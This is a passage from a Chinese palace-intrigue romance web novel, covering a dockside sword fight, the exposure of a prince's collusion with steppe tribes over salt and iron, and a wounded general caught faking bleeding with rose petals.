沈知微气的跺跺脚,心里叹道要是自己再早重生几日,将未来自己学过的武艺再操演熟练,刚才必然不会失手,只割下这些贼人的耳朵去了!
见的这副场景。
那褐袍人还未作声色,卢尚书却已全身发抖起来了。
他本是文人,又是贪慕权贵才加入沈昭景的麾下的。
要他为沈昭景搏命,他可不干。
“大、大大人,这里就、就就交给你了,老夫、夫……”
话音未落,卢尚书便打算拔腿就跑。
那褐袍人鄙夷的看了一眼,然后往地上啐了口唾沫,用浓重的胡地口音笑骂道。
“无胆懦夫,连个女子都不如,看那边那个女儿明明是千金小姐,还敢上阵搏杀,你这样的人如是在我们草原是要被拖去喂狼的!”
那卢尚书早就吓的脸色发白了,也顾不上褐袍人的嘲讽了,转身就跑。
沈知微见的,轻呵了一声。
“不好,不能让他跑了!”
便打算上前阻拦,可是她和萧景珩离卢尚书逃跑的位置还有十几步,眼前还有那个褐袍人守着。
那褐袍人筋骨结实,手背上隆起的根根血筋,一看就是老练的习武之人,沈知微也明知自己不能对敌于前的。
这时,萧景珩那沉如月下潮汐的声音再次响起。
“莫慌,这一次,你想做的事情,我必然让你做成,哪怕是……”
他后半句话语吞入肺腑,没有吐出。
沈知微也不甚在意,毕竟是在码头上搏命之时。
但,萧景珩,话音一落,突然伸出自己未伤好的那只手,抓紧沈知微带着她拔足狂奔,直接冲向卢尚书逃跑的方向。
“不要命了!这小子,真当咱们兄弟是泥捏的!?”
守卫首领见的此景,心里顿感怒火,他们这边守在褐袍人和卢尚书方向还有十个好手呢!
萧景珩就算武艺再好,也真真是不把他们放在眼里了!
谁知,萧景珩笑了一下。
他半张脸本就被刚才的血色沾染,妖艳如鬼魅,这一笑让他的身上的气势更诡异到极点。
“兄弟们,给我砍!”
那些守卫见的心里也是一惊,纷纷拔刀向萧景珩砍去。
可!
这一交手,他们才觉出萧景珩那个诡异的笑是什么意思!!!
“……他他他他是不要命了吗!”
只见萧景珩单手提剑,却故意不挡!
每次对方与他照面,他就把自己的中门、脖颈直接凑到对方面前,然后引得对方出手,再凭着自己多年的武艺反应,直接一剑斩落对方的脑袋。
这种打法,不说在场的这些守卫了,就算是放到江湖里最不要命的绿林匪徒、或是那边疆铁军,都闻所未闻,见所未见!
“疯子……疯子!这简直是不要命的疯子!”
那些守卫连被萧景珩斩了七八个,连同他们的首领都大叫着逃散开了!
毕竟,他们也是来挣这份工钱的,但是只要和萧景珩一照面,便要立分生死,换谁来都未必做的了这心理准备吧!
“到了……咳咳……到了,阿曜……”
萧景珩拉着沈知微,半步踉跄,总算是冲到了那褐袍人前,刚才打算逃命的卢尚书,见的此情此景人都被吓傻在原地了。
这不怪他,实在是萧景珩太骇人了!
只见,月光下,萧景珩半个身躯已然被血染透,毕竟虽是他武艺绝顶,但这种搏命的打法,自然不可能不受伤的!
沈知微没有说话,老实说,她也有些微微被吓到了。
以往两人再激烈的交锋都是在朝堂上唇枪舌剑,后来就算是萧景珩领军杀了沈昭临,也只是上朝堂来,将沈昭临的尸首扔在她面前。
她从未亲眼见过萧景珩战场搏杀的模样!
加之这天来,萧景珩又故作失忆,乖的像只刚出窝的小奶狗一般,她差点就忘了眼前这人,是16岁就让边疆小儿止啼的战神,无论多乖,装的多可爱,他骨子里就是条十足的疯狼,任何挡着他的人,他都不惜一切代价撕碎他们,甚至这个代价也包括他的生命!
“好儿郎!你这才配做我对手!”
那褐袍人拍着手,拔出刀来向萧景珩大步踏了过来。
萧景珩立刻站到沈知微前面。
长剑反握在手,纵然半身染血,他都不忍让沈知微受一点伤来。
两人都是武林好手,目光甫一交锋,立刻势如闪电,只见空气中青峰“铛”的一声交织在一起,然后两道黑影在空中飞腾,短短几息之间,两人已然交手了数十招去了。
等得沈知微再看清萧景珩和那褐袍人的身形的时候,萧景珩
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用受伤的肩膀钳住那褐袍人的刀,刀刃深深没入他的骨肉里,却拔不动一点,而那褐袍人的另一只没有握刀的手却已然被萧景珩青峰刺穿,再也提不起半点!
“快去!”
萧景珩大吼一声,他要是全盛之时必然能把这厮砍成碎片,可是他旧伤未愈,一只手又完全使不上力来,只能用这种伤敌一千自损八百的策略。
沈知微立刻回过神,拔腿冲向卢尚书!
“休走!”
那褐袍汉子端的也是个人物,他一咬牙,沈知微和萧景珩立刻听到粮食清脆的咔擦声,原来这厮居然把自己被萧景珩定住的手,生生折断,然后转头向沈知微冲了过去!
“阿曜!”
萧景珩咬着牙想冲上去再护住……护住沈知微一点,可失血太多,他提步的时候,只觉的两眼一黑,头脑发晕只得跪倒在原地。
但,沈知微从不是躲在别人后面,只能让别人保护的废物!
她看见那冲过来的褐袍汉子,眼神一眯,立刻一个好主意浮上了心间!
“女子,你们中原女子,看来没男人保护,大约就到这里了!”
那褐袍人冲到沈知微面前,哈哈大笑,纵然他伤了一只手,他拿捏沈知微这种指挥皮毛武艺的女子,还是如同拿捏小鸡一般。
“你给我向中原女子道歉去吧!蠢货!”
忽然,沈知微一回头,紧随着一道白色粉末伴随着强烈的香气就往那褐袍人的面前袭来。
……是暗器!不对!那是、那是……
那褐袍人反应不及,没闪过,那粉末就直接撒入了褐袍人眼里。
“啊啊啊啊!”
一阵火辣又冰凉、异物感极强烈的触感立刻覆住了那褐袍人的眼睛,他不自觉后退了几步,等他想再睁开眼的时候,却觉脖颈一凉,然后整个人就失去意识跌倒在了码头的水中去了。
沈知微看着那褐袍人水里的尸首,挑了挑眉,然后再看了一眼手里的刚刚抛洒出去的物件——那是一盒女儿随身常带的香粉,不过沈知微的这一盒却是专供皇家的,所以里面还加许多寻常人家很少得见的药物。
比如龙脑末,也就是天然冰片,这东西如是涂抹再身上自然是冰霜舒适,但入眼只会有强烈的异物感和刺痛让人暂时看不清东西。
“哼,可惜了,我半盒上好的香粉~这就将以香制香!”
想着刚才那褐袍人顶风嗅出自己藏身之所,沈知微报复性的坏笑了一下。
然后转身走向那卢尚书卢大人。
不想,沈知微刚刚靠近,突然觉得骚臭无比,她打眼瞧过去,那卢大人原本高官才得穿的紫荆衣袍下面水渍渍、黑乎乎的一片……
……额……这般胆小吗?
沈知微皱皱眉靠近那陆大人,提住他的衣领刚想开口。
那卢大人端的是“有骨气”之极。
“不要杀我!不要杀我!我什么都说!我什么都说!”
立刻全身抖的跟筛糠一般止不住的发抖起来。
“好,这盐税的空额,到底是怎么回事,你们什么时候和这些敌酋勾结的!”
17. 火中遗钥
卢尚书浑身抖如筛糠,涕泪横流.
“公主、公主,您也知道,您和您母后最得陛下圣心,这些年七皇子也是越来越聪明能干,五殿下……他、他怕……”
“怕阿翎得了皇帝宝座?!”
沈知微面色一冷,长剑更抵上卢尚书脖颈三分。
“是的是的!所以五皇子勾结外酋,许诺草原各部,只要祝他登上皇位,便便开放边境互市,许他们盐铁之利。"
卢尚书说道这里,面色也是难看至极,他吞吞吐吐的接着说。
“但、但、但,这些草原蛮子口味越来越大,现在居然要这么多官盐和精铁,我等匀了不少出去,这账还是、还是填不满啊……”
听闻此言,沈知微拿剑的手都有些颤抖起来了。
她一直知道沈昭景野心勃勃,前世她把控朝堂时这家伙就和边疆商人勾结外敌,可她没想到这家伙居然大胆到这种程度,精铁也运给这些草原敌酋,要知道,精铁乃军需重器,历朝历代都严格把控流出关外去,沈昭景这是夺位呢?还是把中原江山送给外酋!
“我、我就知道这么多,公主!公主,您大人大量放小的一马,小的立刻回去绝不再助纣为虐,安安分分做个孤臣,您看……”
卢尚书忙不迭向沈知微叩首,祈求沈知微放过。
但沈知微可不是三岁小孩,见的人磕磕头就手软的傻瓜,她很清楚放过卢尚书这帮鼠蚁,以后就是边疆将士流不尽的鲜血。
“做梦!本宫无权放尔等这种社稷蛀虫,要求饶,到父皇面前去求饶吧!”
沈知微提剑往前踏了一步,按住卢尚书的肩膀就想把他从地上拽起来。
“我、我、我家有八十老母还在五殿下手上呢!公主、公主……”
卢尚书一边被沈知微用剑押着一边求饶道,沈知微自然没心情听他废话,只是用剑抵住卢尚书的背心让他往前走。
两人到了萧景珩身边,萧景珩脚下已经滴了一地的血,沈知微却住脚步看向了他。
“我……没关系的,阿曜……社稷要紧……”
萧景珩心中也是愤恨无比,他在沈知微死后才觉出沈昭景的真面目,那时候沈昭景已然矫诏登上地位,居然假借烽火之事,连送了边疆十镇给胡人,萧景珩他们咬着牙,死了多少人才把这个逆君和外敌给消灭的……
所以此时此刻,萧景珩心里虽然恨沈昭景无比,但他也恨自己识人不清,错负了沈知微那么多年,想想未来沈知微的死和自己所作的一切,他也不知道自己是羞愧,还是愤恨,居然自己固执的杵着剑,想靠自己站起来,好不让沈知微担心。
可……血流的实在太多了,刚刚摇摇晃晃站起来的萧景珩突然脚下一软又往前跌了过去。
“小心!”
沈知微看着萧景珩的动作,连忙抢上前扶住萧景珩的身体,
……额,她先说自己绝不是感激萧景珩或是什么的,只是单纯的战友情和看他可怜而已。
“谢谢……”
萧景珩也有些意外,但是沈知微身上淡淡的香气属实让他眷恋,反正、反正都离这么近了,那就……
萧景珩故意将头一倒埋到了沈知微的脖颈之间……
这一次沈知微没有推开,大抵是真看他有些站不住了。
但,就在这一刻!
突然,异变陡升。
原本哆哆嗦嗦,已经尿裤子,看起来窝囊的不成样子的卢尚书,突然从袖子里掏出一个小小的火折子,趁沈知微辅助萧景珩的时候,往身边一扔。
码头上本来就尽是硝石和干燥的木板,瞬间火舌就窜出几丈高来,覆盖了整个码头。
然后趁沈知微和萧景珩被火舌阻退的瞬间,那卢尚书突然使出吃奶的力气拔足狂蹦,一息之间居然窜出去老远。
沈知微想上前追,但肩头的萧景珩已然昏迷过去了,他沉甸甸的重量押在沈知微的背上。
权衡再三,沈知微却住脚步还是打算以萧景珩的命为先。
叹了口气,沈知微正打算躲着火焰离开之时,突然软底绣鞋下踩到什么硬硬的物件,她低头看了过去,那是一把古怪的黄铜钥匙,好像是刚才跑走的卢尚书掉在这里的!
……咳咳咳,不管了……先出去再说!
浓烟越来越迷,沈知微也来不及多想,捡起那把钥匙背着萧景珩就冲出火场去了。
——
“你们!你们好大胆!景珩本来伤就没好,你居然敢带着他偷溜出宫去!还受了这么重的伤,到底有没有把朕的话听到耳朵里去!”
栖凰阁里,嘉和帝面如沉水的训斥这跪在他面前的沈知微和躺在一旁的萧景珩,他气的胡须都抖了起来,手指竖起直指沈知微的鼻尖。
沈知微不说话了,只能低下头,她难道说自己去查五皇子勾结外敌的消息?这自然不能说,一来她手里根本没有足够的证据,就一把破钥匙,胡乱开口不仅打草惊蛇,说不定还会反被蛇咬上一口,二来以她对她五哥的了解,这厮在卢尚书回去禀报的时候,必然已经把相关的人等、物证全部妥善“处理”了,绝不会留下一点。
所以,沈知微只能受着,然后等嘉和帝气小点了,再随便编个理由哄哄现在在她面前吹胡子瞪眼的亲爹。
“……朕看,朕是越来越管不住你了,德赵你去拿家法,带这丫头去栖凰阁前,狠狠、狠狠的给朕打,打上十板,要响亮些,周围的人都听的到的!”
嘉和帝骂了半天,见的沈知微不说话,许是骂累了,坐下来喝茶水的时候,扔下这么一句话来。
沈知微一听,喜上眉梢,立刻向嘉和帝跪谢。
“谢父皇!”
别人可能听不出来,沈知微精明的跟只小狐狸一样,立刻听明白她父皇的意思了,打的响亮一些,就是要让周围的人、特别是那些舌头长长、长长的御史知道,嘉和帝已经处罚过自己了,不准他们再来找自己的麻烦了。
至于那十大板嘛~沈知微向春桃使了个颜色,春桃立刻会意,拿出两个大棉包来……
这是沈知微发明的“打的轻松”!反正说处罚她又没说不让她带装备!
嘉和帝见的,闭上眼,将头歪向一边,他显然已经气消了,但女儿这般明目
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张胆的“作弊”,他又不好说什么,只得装成什么都没看见。
很快,两个太监恭恭敬敬的把沈知微请出了门,宫门口响彻了沈知微的“惨叫”……只能说是毫无演技,全靠感情,甚至“惨叫”里还参杂了一些嗑瓜子的声音呢!
等沈知微回来,嘉和帝才屏退众人看向沈知微,和一旁躺着的萧景珩说道。
“你们、唉、你们两出门去做什么,朕管不了,但一定要注意自身安全,景珩旧伤未愈,又添新伤,他偏生还看你眼色,你不说他就不说,唉……你们啊你们……罢了罢了,为父不管了!
但是!有一点!
闹出这么大动静!景珩好之前,你给朕老老实实呆在宫里,好好照顾他听见没有,这是圣旨!”
沈知微扬扬眉毛,和榻上笑的很开心的萧景珩对视了一眼,没说什么老老实实点头了,这算半个禁足吧,但她在宫里已然培养出一些耳目来,正好她能休息休息整理下情报呢!
——
可,万万没想到的是,就在沈知微被嘉和帝宣布禁足的第二天。
沈昭临上朝路中。
这小子是第一次和这么多五品以上的大臣们同朝,什么都觉得新鲜。
所以他一大早起来就蹲在宫门口,看着从东华门进来的黑压压的朝官们,他便想跑过去,想和这些大臣们攀攀交情,打好关系什么的……
却不想他刚刚跑的靠近的时候,便听到这些文官在远远的议论着什么。
“所以说啊,也就是人家长公主吃了女儿身的亏,不然我看陛下早就确立大统了,这些年他在这堆皇子里挑来挑去,就没个合心的!”
“可不就是吗?长公主在宫宴上,那英姿飒爽,像极了陛下年轻时候和萧帅千里逐敌的模样,陛下现在可是满心满眼的喜欢她了呢!没瞧着那帮子御史都不敢再谏半句长公主了么?”
“对嘛,要是我有这么个女儿舍命相救,我也看的跟眼珠子似的,……咦,这般说来,那七殿下的优势不是大的太明显了?他本来又是嫡子,又得陛下宠爱,现在姐姐又如此得陛下盛宠……”
“嘘!储位之事,慎言!慎言!……咦,这、这不是七殿下吗?早上好!早上好!”
那些朝官原本聊的热火朝天,却在清晨的薄雾里看见一个穿着大红袍跑过来的少年,一见是沈昭临,立刻闭了嘴,顾左右而言他去了。
毕竟,这事儿算是国事,但也是沈昭临的家事,他们当着当事人谈论这些还是有些挂不住脸的。
但,沈昭临可全听进去了啊!
等得这些朝官走远了一些,他有些赌气的嘟起嘴来。
是!他承认阿姐厉害,当时听说了姐姐在宫宴上英姿飒爽的故事,他也好生羡慕,只恨当时自己跑远了,没和姐姐一起面对,他实在遗憾的不得了!
可……可自己也没那么差吧,什么都要靠着姐姐!??
沈昭临毕竟也才是个少年,正是少年气盛的时候。
他暗暗下定决心,一定要做件大事情,不告诉姐姐、也不告诉母后,让她们知道后也如此这般夸赞自己才行!
18. 海棠碎玉阶
18
随着太和殿太监的三声鸣鞭,外面站着的朝臣们,也依序进入太和殿里。
许是沈昭临今日早上听的那些言论,少年心性终究有些不服气的。
他气嘟嘟的像只踌躇满志的小狮子“咚咚咚”的跑上了太和殿的汉白玉长阶,然后抱着手臂等在离大殿门口最近的位置,想着等到他的队列的时候,他必然要第一个跑进去。
哼!让你们小瞧我呢!
沈昭临心里满是不服气。
这时,一个穿着从四品官府,身染一身佛香的身影,那自然是沈昭景。
沈昭景手握着念珠,一脸清风朗月与世无争的表情,见的沈昭临急乎乎的模样,含着笑意问道。
“七弟,今日发生了何事,这般急色,不如说与为兄听听?”
“五皇兄好,我、我没事……只是第一次参加朝议有些新奇罢了!”
沈昭临看着沈昭景,脑袋里不自觉划过沈知微当年与他讲的话,莫要和沈昭景说太多事情,可……五皇兄看起来也不是坏人啊,又爱念佛,平日里也是清清静静的,阿姐必然是多虑了!
沈昭景看着沈昭临,若有所思了片刻,眼中的笑意更加浓了一些。
“那是那是,我比你大些,早些日子没领职的时候,就得父皇恩准来过朝议看看,你看,这便是天下儿郎十年苦读,最梦寐以求的地方,也是好儿郎建功立业之地!”
“那是自然!我也想建功……不是,为父皇分忧,让父皇母后,还有阿姐为我骄傲呢!”
沈昭临一听眼睛立马亮起,他不知道为什么沈昭景一下子就看穿了他的心思,但这一刻,沈昭临觉得沈昭景便是最懂他的人,巴不得立刻想把心里想的事情和沈昭景分享了去。
沈昭景不急不徐,也没继续问,继续清雅与世无争的笑着,讲手里的长柄玉扇举过嘴边,掩住了笑意。
饵已经下好了,钓鱼嘛,总不能急于一时。
——
朝堂上,马上冬雪消融,最重要的就是初春水利的问题。
但修建水渠灌溉也好、易洪涝的地方修建堤坝防洪也好,总饶不过一个字就是钱。
可当嘉和帝打算问的时候,他打眼一瞧,朝臣里居然少了一个人户部尚书——卢麟。
“卢尚书这是……”
嘉和帝刚问出口。
沈昭景便站出队列,合手作揖道。
“秉父皇,刚才儿臣得信,卢尚书昨夜醉酒失足落于水里,等捞上来的时候已经……唉,所以刚才户部列位同侪们,让儿臣暂时代卢尚书汇报一下今年的财情,擅作主张,请父皇恕罪。”
“唉,这岂能怪你,所谓天有不测风云。罢了,等下了朝,朕立刻派人去卢尚书家慰问了去……好了,景儿,既然如此,户部列位臣工举荐你,朕像听听你到底有什么建议?”
嘉和帝听罢,面色如常,好似没什么表情,只是歪了一下头,目光深邃的看向沈昭景。
“是,儿臣以为,现春税入库在即,各地水利都等着这批银子呢。当遣钦差分赴各地督办税银,分批押解入京。如此既可减轻户部压力,又能防止……”
“准了,着户部推举,吏部即刻拟定人选。”
接下来的议事,便是朝议流程了,很快各地运送税银的武官便定了人。
可到了江淮,众臣却迟迟议不出个结果来。
这也难怪,江淮地区向来是一国银税要地,其中错综复杂的关系,有点经验人脉的官儿,哪个想把这事儿揽在身上去。
“怎么?不说话了?哑巴了?”
看着下面的群臣那么为难模样,嘉和帝皱紧了眉头。
吏部侍郎期期艾艾半天才吐出一句。
“江淮税制复杂,历年积弊甚多,需老成持重之人……”
“积弊甚多?朕看你们是怕得罪人,畏难不敢上罢了,江淮地区税务本就是一国重器,如此犹疑不决,天下百姓可能指望你们?
朕话儿放在这里,谁愿意去那江淮地区收回税银,便是大功一件!”
嘉和帝更怒,头上的玉珠串儿,发出响亮的碰击声音。
但就在其他群臣哆哆嗦嗦的时候,人群中沈昭临的眼睛却亮。
天下?百姓?这岂不是建功立业的好机会!?
他下意识往前半步,又硬生生忍住。
可沈昭临没有看见,也不可能看见,沈昭景此时站在大殿的阴影处,嘴角几不可察地弯了弯。
——
退朝的钟声响起时,沈昭临还沉浸在方才的朝议中,心中还不忘嘉和帝散朝时说的那一句话。
直到沈昭临被人流推搡出太和殿的大门时,他都眉发觉,直到……
“七弟留步。”
沈昭临突然回头,却见沈昭景负手而立,此时已然快午时了,阳光斜斜的打在沈昭景身上,使得他的影子拉长的几许,宛如一把出鞘的剑一般直直斜插进了两人中间去。
“五哥有事?”
沈昭临并没什么防备,对着沈昭景轻轻笑了起来。
“刚才我在殿上便见的七弟是有意请缨去往江淮?”
“我……”
没想到自己在朝堂上的小动作落到了沈昭景的眼底,沈昭临耳根子一红,有些不好意思的吞了半句。
“此确是大好机会,父皇也在朝堂上说了江淮是我朝银税要地,事又关天下百姓,如是成了,你这名声怕是朝内朝外无人不知了吧!”
听的此句,沈昭临眼睛瞬间亮了起来,他忙不迭的补了一句。
“那母后和阿姐……”
“哈,七弟真是小孩儿心性,这般大事如是做成,她们自然也以你为傲呢!”
听到沈昭景的肯定,沈昭临原本犹豫的心又坚定了几分。
但,他年纪小,却也不是蠢的,犹豫了半晌,还是开口说道。
“五哥说的对,可朝臣们也说此地复杂,我……”
想再思虑几许……
沈昭临没有立刻回答沈昭景,只是低下头将自己的话吞了下去。
沈昭景见的,长柄玉扇再次展开,轻轻摇了起来,这次没有笑,只是眯起眼睛,如那些朝臣一般露出有些狐疑的神色,然后慨叹了一句。
“是了,滋事体大,七弟还是回去和知微商议几句吧,她最得圣心,也是咱们之中最肖父皇最聪颖的……”
这句话像针一样扎进沈昭临心里,沈昭临猛的抬起眼眸,开口道。
“不必,我这就去求见父皇!”
沈昭景面色闪过一丝得意,但他很快拿扇子遮住了嘴角的笑意,面上却做出担忧状。
“七弟三思啊……”
这话如同给燃烧的火倒上烈酒一般,沈昭临咬咬牙立刻转身正打算去往养心殿。
就在这时,一个清朗的声音传了过来。
“殿下且慢。”
沈昭景和沈昭临同时回头,只见一个身着青色官服的年轻官员匆匆走来,但最惹人瞩目的是他衣袍配置的实在奇怪,外面锦缎看着是最好的面料,可里面的里衣却是烂的翻起了毛边。
“下官吏部主事孙翼见过两位殿下。”
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>“哦原来是新科探花啊,出的了翰林院点入了吏部,不知有何指教?”
沈昭景面色如常,但掐着玉扇的指节已然有些发白了。
“下臣请问五殿下现主管户部,陛下也叫户部推荐,我吏部拟定,为何不选户部能员前往江淮?”
孙翼瞧了沈昭景一眼,快速往前走了两步,将沈昭临照到自己后面。
孙翼可未曾忘记当日沈知微的“一话之恩”,后再见的沈知微救驾时的英姿,心中早已被沈知微折服,如今见的沈知微胞弟如此场景,原本找不到报恩方式的孙翼立刻上来解围了去。
听的这话,沈昭临立刻回过神来,他年纪小,可不是蠢啊!
个模糊的念头浮上心头——是啊,户部又不缺能吏,而且大家都说江淮税务复杂,为何……
“七弟如是畏难,便可不去,我现在回户部叫人推荐人选,你便回栖凰阁陪陪你阿姐去吧!”
沈昭景作势要走。
“等等……”
沈昭临尚在犹豫。
“七殿下不可,这事您还是去同长公主殿下……”
孙翼刚刚开口。
沈昭临突然大吼一声。
“我自己去!你们谁也不准拦我,特别是你不准告诉阿姐,否则否则等我回来就启禀父皇将你发配到岭南去!”
沈知微的名字再次刺痛了少年的自尊心,大家开口闭口阿姐,难道自己真不如姐姐么?
他不信!他这次就要不沾阿姐的光,做成这件大事情。
以后朝臣提到他和阿姐,都会说沈知微是沈昭临的姐姐了不起,而不是沈昭临是沈知微的弟弟所以才被青睐的。
沈昭临甩开孙翼的臂膀拔腿往养心殿跑去。
留下孙翼一脸忧色,和沈昭景摇着扇子在原地啊。
“孙探花啊,你看那庭院中开着的海棠花儿,终究要自己摔碎在青石板上,才懂什么叫粉身碎骨……你是劝不动的!哈哈哈哈!”
沈昭景直到沈昭临跑远之后,才站在孙翼面前洋洋得意的说道。
孙翼面沉如水,不发一言,目光看向栖凰阁的方向,听说那位公主被禁足了,自己怎么才能把这个消息传递给她去……
————
栖凰阁内,沈知微从软榻上突然惊醒。
她这次没梦见萧景珩冲入宫的往事了,却依然莫名心惊,就如同那一日,沈昭临的尸首在她怀里渐渐失去温度的感觉一模一样。
“叮铃铃……”
沈知微惊的一抬头,但见窗外春光正好,檐下那串沈昭临送给她的风铃却发出刺耳的撞击。
“春桃,阿翎今日可来请安过?”
沈知微赤足踏在屋内冰冷的地砖上,急急往外走去。
“哎呀,公主,您怎么又踩在地上了,都同您说了,七皇子现在领事儿了,不是那个处处要您忧心的少年了,再说他要出宫会不禀报你和皇后娘娘么?你安心便是了。”
春桃吓的连忙给沈知微递上绣鞋。
沈知微听的也低下眉梢,沈昭临就算忙的忘了来自己这边,也不会去不禀告母后的,真有什么大事,她虽是被禁足了也能去母后那里走动,不可不能不知道……是自己多虑了吗?
就在沈知微心里还惶惶不安的时候,一个更讨厌的声音响了起来。
“阿曜!我饿!”
啧……
自己怎么忘了这讨厌鬼还在自己宫里呢!
沈知微原本忧愁的眉头陡然一变,变成半是无奈半是恼火的表情,咬咬牙提起绣裙往那个声音的方向走去了。
19. 胭脂血
沈知微快步向那厮卧着的暖阁走去,裙底带起的风儿,吹着那檐下的风铃更是响成了一片。
暖阁中,萧景珩懒洋洋的卧在贵妃榻上举着书卷看着,原本被玉冠束起的长发此时散落着、微卷的搭在他的肩头,月白色的月白中衣松松垮垮地系着,露出半边缠着猩红纱布的胸膛。
见的沈知微进来,萧景珩将手里的《江淮漕运志》一合,眼底立刻浮起三分病弱七分委屈。
“姐姐好狠的心,三日都不来看我了......”
“呵。”
沈知微撇了一眼,还放在萧景珩案头还未撤下去了碗筷,冷笑了一句。
“两碗胭脂米,半只糟鹅,萧少帅这伤养的胃口倒比伤好的快呢,本宫养的狸奴都没你能吃。”
“我……我这不是想姐姐,想的急了么?你看这书中,相思成疾,忧思成疾……这病阿,越要养,就越要心宽,我、我、我也是不想的,哎呀,哎呀,头又疼起来了,胸口也好疼呢……”
漕运志里有这些?幸好这书的作者已然作古还埋得远,不然听到萧景珩这些话儿估计能再气活来些。
但萧景珩似是演上瘾了,说着,说着,手又开始捂住额头,然后偷眼瞧了过去,发现沈知微面色还是如霜,他眸子动了动,手又不自觉的摸上了自己的胸膛。
只见萧景珩原本缠在胸口还是洁白的绷带,慢慢渗出殷红的血迹,很快就如同红梅点点绽在雪原上,染红了胸口一片。
……到底是为了自己受的伤。
沈知微瞧过去,原本冰冷的目光,顿时软了一点,她肩头稍动,整个人像是松了一些。
萧景珩本就善于察言观色,见的眼前人儿的模样,他立马得寸进尺,哦不对,按他所学的兵法叫乘胜追击——萧景珩撑起半边身子,故意招了招手,叫旁边伺药的宫女进奉汤药来。
“咳,太苦了些……”
萧景珩接过青瓷碗抿了一口,眉头立刻蹙成远山,然后眨着眼睛看向沈知微,里面闪烁着的光儿,就差自己会动嘴了,想叫沈知微来喂他喝呢!
“你左手边有蜜饯!”
沈知微不动声色,说实话她已经想走了,可她脚步刚移了移,那人急切的咳嗽声就立马会随着沈知微的动作传来,最后导致她不得不停下脚步看眼前人演完这场大戏呢。
萧景珩听的沈知微的话语,眉峰稍垂,显然很不满意沈知微的答案,但他也没发作出来,只是乖乖的转身去拿了那小几上的蜜饯,却不想这厮,吃个蜜饯都还要表演。
他一只手指尖捏起几个蜜酿的梅子和糖渍金桔,放在掌心,凤眸含着笑意看向沈知微,仿佛是等沈知微看清了他的动作,他才慢慢捡起一颗来放入嘴里含住,果肉嘬了半晌,忽然又蹙起眉头来。
“太甜!”
“拿来!”
终于,还是沈知微稍逊一筹。
……她以前怎么不知道那位在外朝口中的冷面阎王,叱咤边疆、止小儿夜啼的少帅,这般有表演天赋呢。
果然是知人知面不知心,还是老人说的好,这男人阿,真面目是啥,真的日久了才见的着呢!
但沈知微实在不想陪他再演下去了,索性也就遂了萧景珩的意,接过碗,坐在榻边。
“喝!”
银色的汤匙,不带任何怜悯,或者说是更像一把宝剑,沈知微拿着它直接往萧景珩的嘴里怼了过去。
可,萧景珩却甘之如饴,明明汤匙都几次抨击到他牙齿发出“叮叮”的声音,他还是央着沈知微硬是让她喂完了整碗药去。
……似乎伤更重了一些。
等沈知微将碗放下的时候,萧景珩牙龈都被她怼出血了,但丝毫不惧,还是傻傻向沈知微笑开了颜。
“……或许明日本宫还是为少帅叫御医来瞧瞧脑子吧……”
沈知微越看越无语,总觉得萧景珩这病的病因最重的是在脑子,而不是在肌理。万一他这皮肉的伤好了,那时有时无的“失忆”也好了,但变成这般傻子放他回玄甲军去,怕是对不起江山父老,也对不起萧家世代忠良了。
可萧景珩倒完全不在意沈知微眼里的嫌弃,他抓住沈知微的宫袍衣袖,将本来打算站起来走掉的人儿,硬按在了床边。
“姐姐,这就要走了?再陪陪我一会儿吧!”
“本宫要去……”
沈知微可还没忘掉沈昭临的事儿,阿翎和她关系极好,一天不来请安还是罢了,一周不来也可以说是事务繁忙,可这已然过了半月有余了,加之今天的惊梦,总让她心神不宁。
“唔……好吧,那就再陪一刻,一刻就好……”
萧景珩看向沈知微的眼,他知她果断,也知她心意已决谁也改变不了沈知微的想法的。
无妨,退而求其次也好,多待在她身边一刻也好。
只见萧景珩将头靠了上前,依着沈知微的肩膀,鼻尖轻轻碰撞沈知微的发丝。
这一次,沈知微没有像上次他刚刚“失忆”那时推开,萧景珩欣喜若狂,但是脸上还是忍住了,可……人的肢体总是会依着内心发出一些动作的。
他用着下巴做支点,一点点的顺着沈知微的肩线摩了上去,想多贴近沈知微一点……
“好了,一刻钟到了,本宫还有事,下次再来见少帅你吧!”
就在他唇快到达沈知微脖颈的时候,沈知微无奈的口吻再次响起。
失落、沮丧瞬间涌上了萧景珩的心间,他磨磨牙,只得乖乖的如同幼犬一般低下头,不甘的将脑袋从沈知微的肩膀上移了下来,说道。
“好吧,姐姐下次来早一些,不然的话,我……”
说着话间,萧景珩胸口上的伤口仿佛是有灵性一般的又渗出血迹,星星点点。
沈知微离得近,眉头轻轻蹙起,虽说伤筋动骨一百天,可萧景珩这伤到现在还没结痂,似乎也有点……
罢了,到时候真得请人去太医院问问,要不给萧景珩换点更好的伤药吧。
沈知微站起身来转出暖阁,正准备叫春桃给父皇母后递上帖子,她想去拜会母后
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,虽说嘉和帝禁足沈知微是为了避人口舌,保护沈知微,但这些面子功夫还是要做的。
“春桃……春桃……这丫头去了哪里?”
沈知微拿着帖子喊了几声却不见春桃的身影,她有些奇怪,忽然转头时候瞧见栖凰阁宫门口,她的大宫女春桃正在和几个内侍、宫女说着什么话儿。
沈知微走上前几步,那几人的对话清晰落于耳间。
“……这玫瑰花瓣儿,咱们宫里还要些,怎么没了呢?上次不是叫你们多送些过来么?”
“哎哟,我的春桃春姑奶奶,您不瞧瞧你们这栖凰阁这一月儿用了多少玫瑰花瓣了,这段时间又是宫宴、又是新年节庆的,咱们也不能紧着栖凰阁一个宫阿,其他后妃主子她们也要的阿……”
“对阿,这真真奇了怪了,怎么消耗的怎么多呢,就算用了去做胭脂、做元宵馅儿,这库房里玫瑰花怎么用的这么多呢……
这也不是贼阿,其他东西都没大少的,怎么偏偏这玫瑰花……
更不可能是老鼠了,谁家老鼠糖也不偷,面粉也不吃,专偷玫瑰花瓣的阿?”
听到此言。
沈知微眉头皱了皱。
她快步转身走回暖阁。
但见那厮还好整以暇的躺在暖阁上面,手里又握着书卷,一派懒洋洋的闲散的模样,也不见得刚才时不时的咳嗽,和西子捧心般“灵性”的渗血了!
看的沈知微进来,萧景珩立马抬眸,刚想坐直身子又开始表演的时候。
沈知微猛地冲上去一把扯开萧景珩的衣襟,在对方故作惊慌的“姐姐不可”声中,将那些染血的纱布一同撕下。
阳光明晃晃地照在男人胸膛上,本该狰狞的伤口处只有一道淡粉色的痂,边缘已经翘起薄如蝉翼的死皮。
碎纱布堆里滚出几粒未碾尽的玫瑰花瓣,艳得像凝固的血珠。
“用本宫库房的玫瑰染纱布?萧大人好雅兴!”
沈知微气的全身发抖,没想到栖凰阁有史以来最大的“老鼠”就在身边!
萧景珩也愣住了,他倒没料到沈知微如此雷厉风行,可他毕竟身经百战,这点及时反应能力还是有的。
“姐姐,你等等,其实……”
